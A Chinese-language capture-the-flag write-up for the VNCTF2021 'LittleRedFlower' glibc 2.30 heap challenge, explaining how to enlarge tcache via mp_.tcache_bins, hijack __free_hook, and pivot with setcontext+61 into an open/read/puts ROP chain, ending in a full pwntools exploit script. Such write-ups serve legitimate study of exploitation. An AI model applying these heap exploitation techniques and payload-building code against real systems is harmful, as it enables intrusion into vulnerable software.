MENU

VNCTF2021 PWN LittleRedFlower

March 15, 2021 • Read: 308 • Pwn,CTF

题目信息

cnitlrt师傅出的题目,出的太好啦orz。

图片

信息整理

  1. libc2.30
  2. 给出了libc_base

图片

  1. 任意写一字节
  2. 堆空间附近任意写八字节
  3. 申请一个大小在0xFFF到0x2000之间的堆块
  4. 在申请到的堆空间上写数据
  5. 禁用了execve,那么基本上就要用orw了

图片

HINT

图片

解题思路

基本思路

根据题目的hint可以联想到,是否存在一种方法来修改tcache的最大数量,来使得tcache的范围超过0x408字节(这里可以类比global_max_fast),如果存在这种方法,那么我们就可以调试得到tcahce取出堆块时候的偏移位置,通过任意写八字节来使得该位置变成我们想要申请的位置,并且在下一次申请的时候取出修改,通过setcontext来达到SROP。

题目细节

修改Tcache的最大数量

搜索代码中的TCACHE_MAX_BINS,发现这是一个宏定义的常量。

图片

这意味着我们无法在程序运行的时候动态修改,因为宏定义的常量在编译期间替换,于是我们要寻找相关的也同样是记录这这个内容的数据

图片

我发现在实际malloc的时候,代码中把idx与TCACHE_MAX_BINS的比对给替换了,从而用mp_.tcache_bins来代替

图片

而在之后的tcache_get函数中,用assert对idx和TCACHE_MAX_BINS进行比对,我在本地测试的时候用的是2.29的libc,发现在这块地方发生了异常,但实际在题目给出的libc中不存在这个问题。这个的主要原因就是,在我本地调试的时候使用的libc应该是debug模式编译的,而在题目给出的libc中assert被系统所优化,所以这个检测语句也不复存在了。

所以,我们只需要修改mp_.tcache_bins的值即可,我们可以利用任意写一字节来修改最高位为0xFF

图片

在有源码调试的情况下,我们可以很轻松的定位到这个位置。以下是我用libc2.29的源码调试

图片

但在没有源码的情况下,我们用题目所给的libc,定位到这个位置是比较困难的,我根据一些直觉找到了这个位置,并且计算出偏移。

图片

需要注意的是,代码中的rip,是当前行汇编的下一行的内容。

那我是如何找到这个位置的呢?通过比对可以发现当我们输入的申请size为4096的时候,计算出来的idx=0xFF,而这个位置都是某个数据与0xFF进行比对,并且用的是jb,所以我推测这个位置就是mp_.tcache_bins,其次就是看到该位置的数据内容是0x40=64,正好是tcahce的默认个数。

接着我们计算出偏移,再+7(修改最高位),就可以用于exp中了。

伪造Tcache溢出位置信息以及Tcache结构中的counts信息

我们可以发现在libc2.30中,会校验counts是否大于0,如果是0则不从Tcache中取

所以我们需要在调试过程中,找到一个合适的size,使得判定counts的位置正好落在了程序申请的0x200的堆块上,因为这个堆块用memset初始化之后每个字节的内容都是1。

图片

接着我们需要通过调试定位到tcahce->entries[tc_idx]的位置,并且利用八字节修改来使得这个位置变成我们想要申请到的位置,这里显然是申请到__free_hook比较合适。图片

修改__free_hook来执行SROP

我们知道这道题需要orw,那么我们就要考虑如何把堆上的漏洞来转换到栈上,首先可以想到的是利用setcontext来操作,在之前也写过类似的题目,所以这里用起来比较顺手。

在libc2.29及以后的版本,setcontext + 61中调用的参数变成了rdx,而不是rdi,这使得我们在利用__free_hook传参的时候,无法直接传到setcontext中,这里我们就要考虑找一个gadget来传参使得rdi的参数转变到rdx上。

(由于setcontext开头的一些指令会导致奔溃,所以我们直接跳转到 + 61的位置来调用)

通过ropper来搜索

ropper-f"./libc-2.30.so"--search"mov rdx"

可以搜索到这个位置存在合理的gadget

#0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

如果有师傅不知道这个操作的,可以仔细的研究一下这个gadget,我们只需要合理的构造即可使得rdi参数的信息转到rdx上,且调用setcontext + 61这个位置。

.text:0000000000055E00                 public setcontext ; weak
.text:0000000000055E00 setcontext      proc near               ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00                                         ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h]
.text:0000000000055E08                 xor     edx, edx
.text:0000000000055E0A                 mov     edi, 2
.text:0000000000055E0F                 mov     r10d, 8
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; $!
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

我们发现SROP中的frame信息,前0x28字节的信息基本上是没有用的,所以我们可以直接把前0x28字节的数据丢掉,并且补上一些配合gadget的数据。
顺便一提,在执行orw的时候,我们其实可以直接利用libc中的函数来调用syscall,可以少找一条syscall gadget,说不定就差找这一条gadget的时间就拿到一血了呢?

EXP

from pwn import *

r = process('./pwn')
#r = remote('node3.buuoj.cn', 28140)
context.log_level = "debug"
context.arch = "amd64"
# libc = ELF('/glibc/x64/2.29/lib/libc.so.6')
libc = ELF('./libc.so.6')
r.recvuntil('GIFT: ')
stdout_addr = int(r.recvuntil('\n')[:-1], 16)
print "stdout_addr: " + hex(stdout_addr)
libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
print "libc_base: " + hex(libc.address)

r.sendafter('You can write a byte anywhere', p64(libc.address + 0x1ea2d0 + 0x7))
r.sendafter('And what?', '\xFF')
r.sendlineafter('Offset:', str(0x880))
r.sendafter('Content:', p64(libc.sym['__free_hook']))
#gdb.attach(r, 'b free')
r.sendafter('size:', str(0x1530))

pop_rdi_addr = libc.address + 0x0000000000026bb2
pop_rsi_addr = libc.address + 0x000000000002709c
pop_rdx_r12_addr = libc.address + 0x000000000011c3b1
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()

frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc.address + 0x00000000000256b9  # : ret
rop_data = [
    libc.sym['open'],
    pop_rdx_r12_addr,
    0x100,
    0x0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    libc.sym['read'],
    pop_rdi_addr,
    fake_frame_addr + 0x200,
    libc.sym['puts']
]

gadget = libc.address + 0x0000000000154b20 #0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
frame = str(frame).ljust(0xF8, '\x00')
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 61) + \
          frame[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)

r.sendafter('>>', payload)
r.interactive()
Last Modified: March 18, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code